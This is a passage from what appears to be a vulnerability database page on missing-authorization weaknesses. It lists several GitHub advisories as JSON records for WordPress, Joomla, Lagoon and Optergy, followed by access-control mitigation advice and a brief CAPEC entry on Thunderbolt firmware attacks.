      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grackle: Fail-open authorization in the MCP tool layer lets scoped agents perform cross-task and cross-session mutations (IDOR)"
}

GHSA-F9G7-6M23-3V43

Vulnerability from github – Published: 2025-03-08 03:30 – Updated: 2025-03-08 03:30
VLAI
Details

The Shortcode Cleaner Lite plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the download_backup() function in all versions up to, and including, 1.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export arbitrary options.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1481"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-08T03:15:37Z",
    "severity": "MODERATE"
  },
  "details": "The Shortcode Cleaner Lite plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the download_backup() function in all versions up to, and including, 1.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export arbitrary options.",
  "id": "GHSA-f9g7-6m23-3v43",
  "modified": "2025-03-08T03:30:50Z",
  "published": "2025-03-08T03:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1481"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/shortcode-cleaner-lite/trunk/vendor/codestar/codestar/core/Module/Export.php#L53"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/shortcode-cleaner-lite/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15613da5-f900-4a33-8eec-6c9e52ed30fc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9HV-V3MM-J4MV

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2022-05-24 22:00
VLAI
Details

Optergy Proton/Enterprise devices allow Username Disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-7272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-01T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Optergy Proton/Enterprise devices allow Username Disclosure.",
  "id": "GHSA-f9hv-v3mm-j4mv",
  "modified": "2022-05-24T22:00:12Z",
  "published": "2022-05-24T22:00:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7272"
    },
    {
      "type": "WEB",
      "url": "https://applied-risk.com/labs/advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.applied-risk.com/resources/ar-2019-008"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/155259/Optergy-BMS-2.0.3a-Account-Reset-Username-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F9J7-X88Q-9M28

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

The GitLab Webhook Handler in amazee.io Lagoon before 1.12.3 has incorrect access control associated with project deletion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-35236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The GitLab Webhook Handler in amazee.io Lagoon before 1.12.3 has incorrect access control associated with project deletion.",
  "id": "GHSA-f9j7-x88q-9m28",
  "modified": "2022-05-24T17:36:20Z",
  "published": "2022-05-24T17:36:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amazeeio/lagoon/commit/1140289bf9fa98b8602ab4662ae867b210d8476b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amazeeio/lagoon/compare/v1.12.2...v1.12.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amazeeio/lagoon/tree/master/services/webhook-handler"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amazeeio/lagoon/tree/master/services/webhooks2tasks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F9MH-VJFW-4P7P

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23
VLAI
Details

An issue was discovered in Joomla! before 3.9.4. The sample data plugins lack ACL checks, allowing unauthorized access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-9713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-12T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Joomla! before 3.9.4. The sample data plugins lack ACL checks, allowing unauthorized access.",
  "id": "GHSA-f9mh-vjfw-4p7p",
  "modified": "2022-05-13T01:23:05Z",
  "published": "2022-05-13T01:23:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9713"
    },
    {
      "type": "WEB",
      "url": "https://developer.joomla.org/security-centre/775-20190304-core-missing-acl-check-in-sample-data-plugins"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107372"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.